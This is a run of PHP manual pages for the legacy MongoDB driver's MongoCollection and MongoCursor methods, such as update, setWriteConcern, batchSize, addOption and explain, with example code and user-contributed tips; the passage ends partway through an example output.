  • Change slaveOkay setting for this collection

MongoCollection::setSlaveOkay

(PECL mongo >=1.1.0)

MongoCollection::setSlaveOkay — Change slaveOkay setting for this collection

Description

public bool MongoCollection::setSlaveOkay ([ bool $ok = true ] )

See the query section of this manual for information on distributing reads to secondaries.

Parameters

ok

If reads should be sent to secondary members of a replica set for all possible queries using this MongoCollection instance.

Return Values

Returns the former value of slaveOkay for this instance.

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used.

See Also

  • Read Preferences
  • MongoCollection::setReadPreference() - Set the read preference for this collection

User Contributed Notes

There are no user contributed notes for this page.


Set the write concern for this database

  • « MongoCollection::setSlaveOkay
  • MongoCollection::toIndexString »
  • PHP Manual
  • MongoCollection
  • Set the write concern for this database

MongoCollection::setWriteConcern

(PECL mongo >=1.5.0)

MongoCollection::setWriteConcern — Set the write concern for this database

Description

public bool MongoCollection::setWriteConcern ( mixed $w [, int $wtimeout ] )

Parameters

w

The write concern. This may be an integer denoting the number of servers required to acknowledge the write, or a string mode (e.g. "majority").

wtimeout

The maximum number of milliseconds to wait for the server to satisfy the write concern.

Return Values

Returns TRUE on success, or FALSE otherwise.

Errors/Exceptions

Emits E_WARNING if the w parameter is not an integer or string value.

Examples

Example #1 MongoDB::setWriteConcern() example

<?php

$mc = new MongoClient('mongodb://rs1.example.com,rs2.example.com');
$coll = $mc->selectCollection('test', 'foo');

// Require that the majority of servers in the replica set acknowledge writes
// within three seconds.
$coll->setWriteConcern('majority', 3000);
?>

See Also

  • The write concern documentation.
  • MongoCollection::getWriteConcern() - Get the write concern for this collection

User Contributed Notes

There are no user contributed notes for this page.


Converts keys specifying an index to its identifying string

  • « MongoCollection::setWriteConcern
  • MongoCollection::__toString »
  • PHP Manual
  • MongoCollection
  • Converts keys specifying an index to its identifying string

MongoCollection::toIndexString

(PECL mongo >=0.9.0)

MongoCollection::toIndexString — Converts keys specifying an index to its identifying string

Description

static protected string MongoCollection::toIndexString ( mixed $keys )
Warning

This method is deprecated since version 1.5.0.

Parameters

keys

Field or fields to convert to the identifying string

Return Values

Returns a string that describes the index.

Examples

Example #1 MongoCollection::toIndexString() example

This example shows how you can create an index name out of keys. Because this is a protected (static) method, you need to overload it in a child class first.

<?php
// Create inherited class to make the method "public".
class MyCollection extends MongoCollection
{
    static public function toIndexString($a)
    {
        return parent::toIndexString($a);
    }
}

echo MyCollection::toIndexString("foo"), "\n";
// Outputs: foo_1

echo MyCollection::toIndexString(array('name' => 1, 'age' => -1)), "\n";
// Outputs: name_1_age_-1
?>

See Also

MongoDB core docs on » indexes.

Changelog

Version | Description
1.5.0 | This method has been deprecated.

User Contributed Notes

There are no user contributed notes for this page.


String representation of this collection

  • « MongoCollection::toIndexString
  • MongoCollection::update »
  • PHP Manual
  • MongoCollection
  • String representation of this collection

MongoCollection::__toString

(PECL mongo >=0.9.0)

MongoCollection::__toString — String representation of this collection

Description

public string MongoCollection::__toString ( void )

Parameters

This function has no parameters.

Return Values

Returns the full name of this collection.

Examples

Example #1 MongoCollection::__toString() example

<?php

$m = new MongoClient();

$c1 = $m->foo->bar->baz;
echo "Working with collection $c1.";

$c2 = $m->selectCollection('[]', '&');
echo "Working with collection $c2.";

?>

The above example will output something similar to:

Working with collection foo.bar.baz.
Working with collection [].&.

User Contributed Notes

There are no user contributed notes for this page.


Update records based on a given criteria

  • « MongoCollection::__toString
  • MongoCollection::validate »
  • PHP Manual
  • MongoCollection
  • Update records based on a given criteria

MongoCollection::update

(PECL mongo >=0.9.0)

MongoCollection::update — Update records based on a given criteria

Description

public bool|array MongoCollection::update ( array $criteria , array $new_object [, array $options = array() ] )

Parameters

criteria

Query criteria for the documents to update.

new_object

The object used to update the matched documents. This may either contain update operators (for modifying specific fields) or be a replacement document.

options

An array of options for the update operation. Currently available options include:

  • "upsert"

    If no document matches $criteria, a new document will be inserted.

    If a new document would be inserted and $new_object contains atomic modifiers (i.e. $ operators), those operations will be applied to the $criteria parameter to create the new document. If $new_object does not contain atomic modifiers, it will be used as-is for the inserted document. See the upsert examples below for more information.

  • "multiple"

    All documents matching $criteria will be updated. MongoCollection::update() has exactly the opposite behavior of MongoCollection::remove(): it updates one document by default, not all matching documents. It is recommended that you always specify whether you want to update multiple documents or a single document, as the database may change its default behavior at some point in the future.

  • "fsync"

    Boolean, defaults to FALSE. If journaling is enabled, it works exactly like "j". If journaling is not enabled, the write operation blocks until it is synced to database files on disk. If TRUE, an acknowledged insert is implied and this option will override setting "w" to 0.

    Note: If journaling is enabled, users are strongly encouraged to use the "j" option instead of "fsync". Do not use "fsync" and "j" simultaneously, as that will result in an error.

  • "j"

    Boolean, defaults to FALSE. Forces the write operation to block until it is synced to the journal on disk. If TRUE, an acknowledged write is implied and this option will override setting "w" to 0.

    Note: If this option is used and journaling is disabled, MongoDB 2.6+ will raise an error and the write will fail; older server versions will simply ignore the option.

  • "socketTimeoutMS"

    This option specifies the time limit, in milliseconds, for socket communication. If the server does not respond within the timeout period, a MongoCursorTimeoutException will be thrown and there will be no way to determine if the server actually handled the write or not. A value of -1 may be specified to block indefinitely. The default value for MongoClient is 30000 (30 seconds).

  • "w"

    See Write Concerns. The default value for MongoClient is 1.

  • "wTimeoutMS"

    This option specifies the time limit, in milliseconds, for write concern acknowledgement. It is only applicable when "w" is greater than 1, as the timeout pertains to replication. If the write concern is not satisfied within the time limit, a MongoCursorException will be thrown. A value of 0 may be specified to block indefinitely. The default value for MongoClient is 10000 (ten seconds).

The following options are deprecated and should no longer be used:

  • "safe"

    Deprecated. Please use the write concern "w" option.

  • "timeout"

    Deprecated alias for "socketTimeoutMS".

  • "wtimeout"

    Deprecated alias for "wTimeoutMS".

Return Values

Returns an array containing the status of the update if the "w" option is set. Otherwise, returns TRUE.

Fields in the status array are described in the documentation for MongoCollection::insert().

Errors/Exceptions

Throws MongoCursorException if the "w" option is set and the write fails.

Throws MongoCursorTimeoutException if the "w" option is set to a value greater than one and the operation takes longer than MongoCursor::$timeout milliseconds to complete. This does not kill the operation on the server, it is a client-side timeout. The operation in MongoCollection::$wtimeout is milliseconds.

Changelog

Version | Description
1.5.0 | Added the "wTimeoutMS" option, which replaces "wtimeout". Emits E_DEPRECATED when "wtimeout" is used. Added the "socketTimeoutMS" option, which replaces "timeout". Emits E_DEPRECATED when "timeout" is used. Emits E_DEPRECATED when "safe" is used.
1.3.4 | Added "wtimeout" option.
1.3.0 | Added "w" option. The options parameter no longer accepts a boolean to signify an upsert. Instead, this now has to be done with array('upsert' => true).
1.2.11 | Emits E_DEPRECATED when options is scalar.
1.2.0 | Added "timeout" option.
1.0.11 | Disconnects on "not master" errors if "safe" is set.
1.0.9 | Added ability to pass integers to the "safe" option, which previously only accepted booleans. Added "fsync" option. The return type was changed to be an array containing error information if the "safe" option is used. Otherwise, a boolean is returned as before.
1.0.5 | Added "safe" option.
1.0.1 | Changed options parameter from boolean to array. Pre-1.0.1, the second parameter was an optional boolean value specifying an upsert.

Examples

Example #1 MongoCollection::update()

Adding an address field to a document.

<?php

$c->insert(array("firstname" => "Bob", "lastname" => "Jones" ));
$newdata = array('$set' => array("address" => "1 Smith Lane"));
$c->update(array("firstname" => "Bob"), $newdata);

var_dump($c->findOne(array("firstname" => "Bob")));

?>

The above example will output something similar to:

array(4) {
  ["_id"]=>
  object(MongoId)#6 (0) {
  }
  ["firstname"]=>
  string(3) "Bob"
  ["lastname"]=>
  string(5) "Jones"
  ["address"]=>
  string(12) "1 Smith Lane"
}

Example #2 MongoCollection::update() upsert examples

Upserts can simplify code, as a single line can create the document if it does not exist (based on $criteria), or update an existing document if it matches.

In the following example, $new_object contains an atomic modifier. Since the collection is empty and upsert must insert a new document, it will apply those operations to the $criteria parameter in order to create the document.

<?php

$c->drop();
$c->update(
    array("uri" => "/summer_pics"),
    array('$inc' => array("page hits" => 1)),
    array("upsert" => true)
);
var_dump($c->findOne());

?>

The above example will output something similar to:

array(3) {
  ["_id"]=>
  object(MongoId)#9 (0) {
  }
  ["uri"]=>
  string(12) "/summer_pics"
  ["page hits"]=>
  int(1)
}

If $new_object does not contain atomic modifiers (i.e. $ operators), upsert will use $new_object as-is for the new document. This matches the behavior of a normal update, where not using atomic modifiers causes the document to be overwritten.

<?php

$c->drop();
$c->update(
    array("name" => "joe"),
    array("username" => "joe312", "createdAt" => new MongoDate()),
    array("upsert" => true)
);
var_dump($c->findOne());

?>

The above example will output something similar to:

array(3) {
  ["_id"]=>
  object(MongoId)#10 (0) {
  }
  ["username"]=>
  string(6) "joe312"
  ["createdAt"]=>
  object(MongoDate)#4 (0) {
  }
}

Example #3 MongoCollection::update() multiple example

By default, MongoCollection::update() will only update the first document matching $criteria that it finds. Using the "multiple" option can override this behavior, if needed.

This example adds a "gift" field to every person whose birthday is in the next day.

<?php

$today = array('$gt' => new MongoDate(), '$lt' => new MongoDate(strtotime("+1 day")));
$people->update(
    array("birthday" => $today),
    array('$set' => array('gift' => $surprise)),
    array("multiple" => true)
);

?>

See Also

The PHP documentation on updates and the » MongoDB core docs.

User Contributed Notes

bradzo0647 at gmail dot com 28-Sep-2014 04:07
A need for an app was to add a new entry to the industries collection if it didn't already exist, and pass that "string" _id back to the caller to add it to the businesses collection (as a string also - database design by others.... :))

function GetIndustryID($db, $industry_name_eng, $industry_name_rus) {

// $db is the MongoDB database object
// $industry_name_eng is English of the industry name
// $industry_name_rus is Russian of the industry name

    if ( $industry_name_eng == "" && $industry_name_rus == "" ) {
        return "";
        exit;
    }

    // lookup russian version
    // of industry name from industries collection and try to return the _id

    // if not found, add this as a new document and return its _id

        // $c_ind = industry collection object
        // "industries" is the collection name

    $c_ind = $db->industries;

// you could use findOne here....
    $cursor = $c_ind->find(array('industry_name.russian' => $industry_name_rus));

    if ( $cursor->hasNext() ) {
        foreach ( $cursor as $document ) {
            $id = $document['_id'];
        }
    } else {
        // not found here - go add it
        $document = array(
            "industry_id" => "",
            "industry_name" => array("english" => $industry_name_eng, "russian" => $industry_name_rus )
        );
        $db->industries->insert($document);
        $id = $document['_id'];

        // update the industry_id in the industries collection
        // with the id returned - because we just added it, and
        // we need the industry_id the same as the _id

        // see: http://php.net/manual/en/mongocollection.update.php

        // update ( array $criteria , array $new_object [, array $options = array() ] )

                // note how I cast the MongoID "object" to a string
        $document['industry_id'] = (string)$id;
                // the $id in the next line is the ObjectID, not a string.
        $db->industries->update(array("_id" => $id), $document, array("upsert" => true));
    }

    return (string)$id;

}

Results: (using RoboMongo)
{
    "_id" : ObjectId("5427acf7a495dbd420b2e2ea"),
    "industry_id" : "5427acf7a495dbd420b2e2ea",
    "industry_name" : {
        "english" : "Oil and Gas",
        "russian" : "Нефть, Газ, Энергетика"
    }
}

It took me ages to work this out. Hope it helps someone else.
bronius at bcswebstudio dot com 20-May-2014 05:19
Re. nerds @ limeworks comment:
Thanks for your helpful tip - right what I was looking for.  One note, though: Instead of comma, it's a => as in:
<?php
...->findOne(array('_id' => $mongoID);
?>
Vasiliy Makogon 24-May-2013 12:30
if you want emulate on mongoDb "insert on duplicate key update" in SQL notation, you must use flag "upsert" with "$set" in "update" operation.

In this sample uses unique key (user id and product id) and date user visit  product:page. Each execute this code make update 'lasttime' field:

<?php
$client = new \MongoClient(MONGO_DB);
$users = $client->users;
$last_views = $users->createCollection('last_views');
// create unique index
$result = $last_views->ensureIndex(
    array("user_id" => 1, "warecode" => 1),
    array("unique" => 1)
);

$uviews = new \stdClass();
$uviews->user_id = $this->user_id;
$uviews->warecode = $this->warecode;

$res = $users->last_views->update(
    $uviews,
    array('$set' => array('lasttime' => new \MongoTimestamp())),
    array('upsert' => true)
);
?>
nerds at limeworks dot com dot au 22-Aug-2011 11:39
For anyone referencing records by the Mongo _id object, it's important to recognise that it is in fact an object, and not a string.

If you have a record with a Mongo ID of say "4e519d5118617e88f27ea8cd" that you are trying to retrieve or update, you cannot search for it using something like:
<?php
$m = new Mongo();
$db = $m->selectDB('db');
$collection = 'collection';
$db->$collection->findOne(array('_id', '4e519d5118617e88f27ea8cd'));
?>

There is some documentation that mentions simple conversion to string will solve this, but I have found the only reliable way to locate records based on their ID is to first pass it to MondoID(), then use that for reference.

Something like this will be far more reliable:
<?php
$m = new Mongo();
$db = $m->selectDB('db');
$collection = 'collection';
$mongoID = new MongoID('4e519d5118617e88f27ea8cd');
$db->$collection->findOne(array('_id', $mongoID));
?>

This may prove useful for anyone using the ID object like an auto-increment database key would be used in MySQL or similar.
joshuadburns at hotmail dot com 08-Nov-2010 09:51
Please note under optional third parameter "options":

While the official MongoDB documentation references the keyword "multi" to flag the use of multiple updates, the PHP implementation uses the key "multiple" instead.

This may cause a little confusion if you're basing your keys on the OFFICIAL MongoDB documentation.
rithish[at]gmail[dot]com 02-Nov-2010 02:22
Do note, for incrementing a value using $inc, typecast the value to an integer before passing the new object to update().

<?php
$votes = (int) $votes;
$newData = array('$inc' => array('votes'=>$votes));
$c->update(array("firstname" => "Bob"), $newData);
?>

This is especially noteworthy, if you are taking values from $_GET and pushing them for increment.
jeff at canuckistani dot ca 18-Sep-2010 12:05
The return type of update changed in 1.09 if you are using safe => TRUE. It now returns something that looks like the info returned by MongoDB::lastError:

Array
(
    [err] =>
    [updatedExisting] => 1
    [n] => 1
    [ok] => 1
)


Validates this collection

  • « MongoCollection::update
  • MongoCursor »
  • PHP Manual
  • MongoCollection
  • Validates this collection

MongoCollection::validate

(PECL mongo >=0.9.0)

MongoCollection::validate — Validates this collection

Description

public array MongoCollection::validate ([ bool $scan_data = FALSE ] )

Parameters

scan_data

Only validate indices, not the base collection.

Return Values

Returns the database's evaluation of this object.

User Contributed Notes

There are no user contributed notes for this page.


The MongoCursor class

(PECL mongo >=0.9.0)

Introduction

A cursor is used to iterate through the results of a database query. For example, to query the database and see all results, you could do:

Example #1 MongoCursor basic usage

<?php

$cursor = $collection->find();
var_dump(iterator_to_array($cursor));

?>

You don't generally create cursors using the MongoCursor constructor, you get a new cursor by calling MongoCollection::find() (as shown above).

Suppose that, in the example above, $collection was a 50GB collection. We certainly wouldn't want to load that into memory all at once, which is what a cursor is for: allowing the client to access the collection in dribs and drabs.

If we have a large result set, we can iterate through it, loading a few megabytes of results into memory at a time. For example, we could do:

Example #2 Iterating over MongoCursor

<?php

$cursor = $collection->find();

foreach ($cursor as $doc) {
    // do something to each document
}

?>
This will go through each document in the collection, loading and garbage collecting documents as needed.

Note that this means that a cursor does not "contain" the database results, it just manages them. Thus, if you print a cursor (with, say, var_dump() or print_r()), you'll just get the cursor object, not your documents. To get the documents themselves, you can use one of the methods shown above.

Cursor Stages

A MongoCursor has two "life stages": pre- and post- query. When a cursor is created, it has not yet contacted the database, so it is in its pre-query state. In this state, the client can further specify what they want the query to do, including adding limits, skips, sorts, and more advanced options.

When the client attempts to get a result (by calling MongoCursor::next(), directly or indirectly), the cursor moves into the post-query stage. At this point, the query has been executed by the database and cannot be modified anymore.

Example #3 Adding options to MongoCursor

<?php

$cursor = $collection->find()->limit(10);

// database has not yet been queried, so more search options can be added
$cursor = $cursor->sort(array("a" => 1));

var_dump($cursor->getNext());
// now database has been queried and more options cannot be added

// so this will throw an exception:
$cursor->skip(4);
?>

Class synopsis

MongoCursor implements Iterator {
/* Static Fields */
static boolean $slaveOkay = FALSE ;
static integer $timeout = 30000 ;
/* Methods */
public MongoCursor addOption ( string $key , mixed $value )
public MongoCursor awaitData ([ bool $wait = true ] )
public MongoCursor batchSize ( int $batchSize )
public __construct ( MongoClient $connection , string $ns [, array $query = array() [, array $fields = array() ]] )
public int count ([ bool $foundOnly = FALSE ] )
public array current ( void )
public bool dead ( void )
protected void doQuery ( void )
public array explain ( void )
public MongoCursor fields ( array $f )
public array getNext ( void )
public array getReadPreference ( void )
public bool hasNext ( void )
public MongoCursor hint ( mixed $index )
public MongoCursor immortal ([ bool $liveForever = true ] )
public array info ( void )
public string key ( void )
public MongoCursor limit ( int $num )
public MongoCursor maxTimeMS ( int $ms )
public void next ( void )
public MongoCursor partial ([ bool $okay = true ] )
public void reset ( void )
public void rewind ( void )
public MongoCursor setFlag ( int $flag [, bool $set = true ] )
public MongoCursor setReadPreference ( string $read_preference [, array $tags ] )
public MongoCursor skip ( int $num )
public MongoCursor slaveOkay ([ bool $okay = true ] )
public MongoCursor snapshot ( void )
public MongoCursor sort ( array $fields )
public MongoCursor tailable ([ bool $tail = true ] )
public MongoCursor timeout ( int $ms )
public bool valid ( void )
}

Static Variables

slaveOkay

If the query should have the "slaveOkay" flag set, which allows reads on the secondary (secondaries are, by default, just for backup and not queried). Can be overridden with MongoCursor::slaveOkay().

This functionality is deprecated. Please use Read Preferences instead.

timeout

Set timeout in milliseconds for all database responses. Use -1 to wait forever. Can be overridden with MongoCursor::timeout(). This does not cause the MongoDB server to cancel the operation; it only instructs the driver to stop waiting for a response and throw a MongoCursorTimeoutException after a set time.

See Also

MongoDB core docs on » cursors.

Table of Contents

  • MongoCursor::addOption — Adds a top-level key/value pair to a query
  • MongoCursor::awaitData — Sets whether this cursor will wait for a while for a tailable cursor to return more data
  • MongoCursor::batchSize — Limits the number of elements returned in one batch.
  • MongoCursor::__construct — Create a new cursor
  • MongoCursor::count — Counts the number of results for this query
  • MongoCursor::current — Returns the current element
  • MongoCursor::dead — Checks if there are documents that have not been sent yet from the database for this cursor
  • MongoCursor::doQuery — Execute the query.
  • MongoCursor::explain — Return an explanation of the query, often useful for optimization and debugging
  • MongoCursor::fields — Sets the fields for a query
  • MongoCursor::getNext — Return the next object to which this cursor points, and advance the cursor
  • MongoCursor::getReadPreference — Get the read preference for this query
  • MongoCursor::hasNext — Checks if there are any more elements in this cursor
  • MongoCursor::hint — Gives the database a hint about the query
  • MongoCursor::immortal — Sets whether this cursor will timeout
  • MongoCursor::info — Gets the query, fields, limit, and skip for this cursor
  • MongoCursor::key — Returns the current result's _id
  • MongoCursor::limit — Limits the number of results returned
  • MongoCursor::maxTimeMS — Sets a server-side timeout for this query
  • MongoCursor::next — Advances the cursor to the next result
  • MongoCursor::partial — If this query should fetch partial results from mongos if a shard is down
  • MongoCursor::reset — Clears the cursor
  • MongoCursor::rewind — Returns the cursor to the beginning of the result set
  • MongoCursor::setFlag — Sets arbitrary flags in case there is no method available the specific flag
  • MongoCursor::setReadPreference — Set the read preference for this query
  • MongoCursor::skip — Skips a number of results
  • MongoCursor::slaveOkay — Sets whether this query can be done on a secondary [deprecated]
  • MongoCursor::snapshot — Use snapshot mode for the query
  • MongoCursor::sort — Sorts the results by given fields
  • MongoCursor::tailable — Sets whether this cursor will be left open after fetching the last results
  • MongoCursor::timeout — Sets a client-side timeout for this query
  • MongoCursor::valid — Checks if the cursor is reading a valid result.

User Contributed Notes

adrian dot zurek at netmedia dot com dot pl 24-Oct-2011 01:08
One *VERY* important note, if You do:
$cursor = $collection->find(array(), array('_id' => 0)); // ommit '_id' field in result

then:
var_dump(iterator_to_array($cursor));

will return only *ONE* document, not all!
Adil Baig @ AiDezigns 07-Sep-2011 04:28
If you want to know whether a cursor returned any results it is faster to use 'hasNext()' than 'count'


Adds a top-level key/value pair to a query

  • « MongoCursor
  • MongoCursor::awaitData »
  • PHP Manual
  • MongoCursor
  • Adds a top-level key/value pair to a query

MongoCursor::addOption

(PECL mongo >=1.0.4)

MongoCursor::addOption — Adds a top-level key/value pair to a query

Description

public MongoCursor MongoCursor::addOption ( string $key , mixed $value )

This is an advanced function and should not be used unless you know what you're doing.

A query can optionally be nested in a "query" field if other options, such as a sort or hint, are given. For instance, adding a sort causes the query to become a subfield of a bigger query object, like:

<?php

$query = array("query" => $query, "orderby" => $sort);

?>

This method is for adding a top-level field to a query. It makes the query a subobject (if it isn't already) and adds the key/value pair of your chosing to the top level.

Warning

It cannot be used to add extra criteria to a query on the fly. For instance, this will not work:

<?php

// NOT CORRECT
$cursor = $users->find()->addOption("name", "joe")->addOption("age", 20);

?>
This does not query for a user named "joe" with an age of 20.

Parameters

key

Fieldname to add.

value

Value to add.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

Examples

Example #1 Adding a comment with MongoCursor::addOption() example

MongoDB supports special options to be send to the server. The shell uses the _addSpecial option to send a $comment to the server. This comment will show up in the profiling log (for slow queries f.e.). In the PHP driver, you use the MongoCursor::addOption() method.

<?php
$m = new MongoClient;
$c = $m->demo->demo;
$cursor = $c->find();
$cursor->addOption('$comment', "This comment will show up in the profiling log");

foreach ($cursor as $document) { /* empty */ }
?>

The above example will output something similar to:

{
    "op" : "query",
    "ns" : "demo.demo",
    "query" : {
        "$query" : {

        },
        "$comment" : "This comment will show up in the profiling log"
    },
    "cursorid" : 168463566447,
    "ntoreturn" : 0,
    "ntoskip" : 0,
    "nscanned" : 101,
    "nscannedObjects" : 101,
    "keyUpdates" : 0,
    "numYield" : 0,
…

Example #2 MongoCursor::addOption() example

Using MongoCursor::skip() to skip over millions of results can become slow. One way around this is to use $min or $max options for the query. These can be handy, but they require an index on exactly the fields being searched for. This is an example of how to use $min as an alternative to MongoCursor::skip().

<?php

// make sure we have an index
$c->ensureIndex(array("ts" => 1));

// you may have to modify this to run in a reasonable amount of time on slow
// machines (should take about 30 seconds on a good machine)
for ($i = 0; $i < 30000000; $i++) {
    $c->insert(array("ts" => new MongoDate(), "i" => $i));
}

$now = strtotime("now");

// find documents inserted in the last 2 seconds
$cursor = $c->find()->addOption('$min', array("ts" => $now-2));

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets whether this cursor will wait for a while for a tailable cursor to return more data

  • « MongoCursor::addOption
  • MongoCursor::batchSize »
  • PHP Manual
  • MongoCursor
  • Sets whether this cursor will wait for a while for a tailable cursor to return more data

MongoCursor::awaitData

(PECL mongo >=1.2.11)

MongoCursor::awaitData — Sets whether this cursor will wait for a while for a tailable cursor to return more data

Description

public MongoCursor MongoCursor::awaitData ([ bool $wait = true ] )

This method is to be used with tailable cursors. If we are at the end of the data, block for a while rather than returning no data. After a timeout period, we do return as normal.

Parameters

wait

If the cursor should wait for more data to become available.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

Examples

Example #1 MongoCursor::awaitData() example

In this example we tail the "oplog" and instead of sleeping during every iteration, we set the MongoCursor::awaitData() option. MongoCursor::hasNext() will now block until there is more data available.

<?php
$m = new MongoClient( 'mongodb://localhost:13000', array( 'replSet' => 'seta' ) );
$c = $m->local->selectCollection( 'oplog.rs' );
$cursor = $c->find( array( 'ns' => 'demo.article', 'op' => 'i' ) );
$cursor->tailable( true );
$cursor->awaitData( true );

while (true) {
    if (!$cursor->hasNext()) {
        // we've read all the results, exit
        if ($cursor->dead()) {
            break;
        }
    } else {
        var_dump( $cursor->getNext() );
    }
}
?>

See Also

MongoDB core docs on » tailable cursors.

  • MongoCursor::tailable() - Sets whether this cursor will be left open after fetching the last results

User Contributed Notes

There are no user contributed notes for this page.


Limits the number of elements returned in one batch.

  • « MongoCursor::awaitData
  • MongoCursor::__construct »
  • PHP Manual
  • MongoCursor
  • Limits the number of elements returned in one batch.

MongoCursor::batchSize

(PECL mongo >=1.0.11)

MongoCursor::batchSize — Limits the number of elements returned in one batch.

Description

public MongoCursor MongoCursor::batchSize ( int $batchSize )

A cursor typically fetches a batch of result objects and store them locally. This method sets the batchSize value to configure the amount of documents retrieved from the server in one data packet. However, it will never return more documents than fit in the max batch size limit (usually 4MB).

Parameters

batchSize

The number of results to return per batch. Each batch requires a round-trip to the server.

If batchSize is 2 or more, it represents the size of each batch of objects retrieved. It can be adjusted to optimize performance and limit data transfer.

If batchSize is 1 or negative, it will limit of number returned documents to the absolute value of batchSize, and the cursor will be closed. For example if batchSize is -10, then the server will return a maximum of 10 documents and as many as can fit in 4MB, then close the cursor.

Warning

A batchSize of 1 is special, and means the same as -1, i.e. a value of 1 makes the cursor only capable of returning one document.

Note that this feature is different from MongoCursor::limit() in that documents must fit within a maximum size, and it removes the need to send a request to close the cursor server-side. The batch size can be changed even after a cursor is iterated, in which case the setting will apply on the next batch retrieval.

This cannot override MongoDB's limit on the amount of data it will return to the client (i.e., if you set batch size to 1,000,000,000, MongoDB will still only return 4-16MB of results per batch).

To ensure consistent behavior, the rules of MongoCursor::batchSize() and MongoCursor::limit() behave a little complex but work "as expected". The rules are: hard limits override soft limits with preference given to MongoCursor::limit() over MongoCursor::batchSize(). After that, whichever is set and lower than the other will take precedence. See below. section for some examples.

Return Values

Returns this cursor.

Examples

Example #1 MongoCursor::batchSize() and combinations with MongoCursor::limit()

<?php

// one batch, at most 10 items. The -10 makes the server to return 10 items,
// and then remove the cursor.
$cursor->limit(20)->batchSize(-10);

// first batch: at most 10 items
$cursor->limit(10);

// first batch: at most 10 items
$cursor->limit(10)->batchSize(20);

// results are fetched in batches of 10 each, with a maximum of 20 items
// returned (that means two batches of 10).
$cursor->limit(20)->batchSize(10);

// results are fetched in batches of 7 each, with a maximum of 30 items
// returned (that means that the driver requests 4 batches of 7, and one batch
// of 2).
$cursor->limit(30)->batchSize(7)
?>

See Also

MongoDB core docs on » batchSize.

  • MongoCursor::limit() - Limits the number of results returned

Changelog

Version | Description
1.4.5 | Before 1.4.5, this method would throw an MongoCursorException if the cursor had already started iterating.

User Contributed Notes

There are no user contributed notes for this page.


Create a new cursor

  • « MongoCursor::batchSize
  • MongoCursor::count »
  • PHP Manual
  • MongoCursor
  • Create a new cursor

MongoCursor::__construct

(PECL mongo >=0.9.0)

MongoCursor::__construct — Create a new cursor

Description

public MongoCursor::__construct ( MongoClient $connection , string $ns [, array $query = array() [, array $fields = array() ]] )

Parameters

connection

Database connection.

ns

Full name of database and collection.

query

Database query.

fields

Fields to return.

Return Values

Returns the new cursor.

User Contributed Notes

There are no user contributed notes for this page.


Counts the number of results for this query

  • « MongoCursor::__construct
  • MongoCursor::current »
  • PHP Manual
  • MongoCursor
  • Counts the number of results for this query

MongoCursor::count

(PECL mongo >=0.9.2)

MongoCursor::count — Counts the number of results for this query

Description

public int MongoCursor::count ([ bool $foundOnly = FALSE ] )

This method does not affect the state of the cursor: if you haven't queried yet, you can still apply limits, skips, etc. If you have started iterating through results, it will not move the current position of the cursor. If you have exhasted the cursor, it will not reset it.

Parameters

foundOnly

Send cursor limit and skip information to the count function, if applicable.

Return Values

The number of documents returned by this cursor's query.

Examples

Example #1 MongoCursor::count() example

<?php

$collection->insert(array('x'=>1));
$collection->insert(array('x'=>2));
$collection->insert(array('x'=>3));

$cursor = $collection->find();

var_dump($cursor->count());
var_dump($cursor->count(true));

$cursor->limit(2);

var_dump($cursor->count());
var_dump($cursor->count(true));

?>

The above example will output something similar to:

int(3)
int(3)
int(3)
int(2)

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current element

  • « MongoCursor::count
  • MongoCursor::dead »
  • PHP Manual
  • MongoCursor
  • Returns the current element

MongoCursor::current

(PECL mongo >=0.9.0)

MongoCursor::current — Returns the current element

Description

public array MongoCursor::current ( void )

This returns NULL until MongoCursor::next() is called.

Parameters

This function has no parameters.

Return Values

The current result as an associative array.

User Contributed Notes

There are no user contributed notes for this page.


Checks if there are documents that have not been sent yet from the database for this cursor

  • « MongoCursor::current
  • MongoCursor::doQuery »
  • PHP Manual
  • MongoCursor
  • Checks if there are documents that have not been sent yet from the database for this cursor

MongoCursor::dead

(PECL mongo >=0.9.6)

MongoCursor::dead — Checks if there are documents that have not been sent yet from the database for this cursor

Description

public bool MongoCursor::dead ( void )

The database sends responses in batches of documents, up to 4MB of documents per response. This method checks if the database has more batches or if the result set has been exhausted.

A cursor being "dead" does not mean that MongoCursor::hasNext() will return FALSE, it only means that the database is done sending results to the client. The client should continue iterating through results until MongoCursor::hasNext() is FALSE.

Parameters

This function has no parameters.

Return Values

Returns if there are more results that have not been sent to the client, yet.

User Contributed Notes

Anonymous 29-Oct-2013 11:22
Return value is not specified correctly in the documentation


Execute the query.

  • « MongoCursor::dead
  • MongoCursor::explain »
  • PHP Manual
  • MongoCursor
  • Execute the query.

MongoCursor::doQuery

(No version information available, might only be in Git)

MongoCursor::doQuery — Execute the query.

Description

protected void MongoCursor::doQuery ( void )
Warning

Please do not use me.

This function actually queries the database. All queries and commands go through this function. Thus, this function can be overridden to provide custom query handling.

This handles serializing your query, sending it to the database, receiving a response, and deserializing it. Thus, if you are planning to override this, your code should probably call out to the original to use the existing functionality (see the example below).

Parameters

This function has no parameters.

Return Values

NULL.

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database.

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used.

Examples

Example #1 MongoCursor::doQuery() example

You could override this function to attempt a query on a secondary and, if that fails, try it again on the primary.

<?php

class MyCursor extends MongoCursor {

    protected function doQuery() {

        $this->slaveOkay();

        try {
            MongoCursor::doQuery();
        }
        catch(MongoCursorException $e) {
            $this->slaveOkay(false);
            MongoCursor::doQuery();
        }
    }
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Return an explanation of the query, often useful for optimization and debugging

  • « MongoCursor::doQuery
  • MongoCursor::fields »
  • PHP Manual
  • MongoCursor
  • Return an explanation of the query, often useful for optimization and debugging

MongoCursor::explain

(PECL mongo >=0.9.2)

MongoCursor::explain — Return an explanation of the query, often useful for optimization and debugging

Description

public array MongoCursor::explain ( void )

Parameters

This function has no parameters.

Return Values

Returns an explanation of the query.

Examples

Example #1 MongoCursor::explain() example

<?php

$cursor = $collection->find(array("x"=>1), array("y"));
$cursor->sort(array("z" => 1))->limit(4)->skip(5);

var_dump($cursor->explain());

?>

The above example will output something similar to:

array(8) {
  ["cursor"]=>
  string(15) "BtreeCursor x_1"
  ["startKey"]=>
  array(1) {
    ["x"]=>
    int(1)
  }
  ["endKey"]=>
  array(1) {
    ["x"]=>
    int(1)
  }
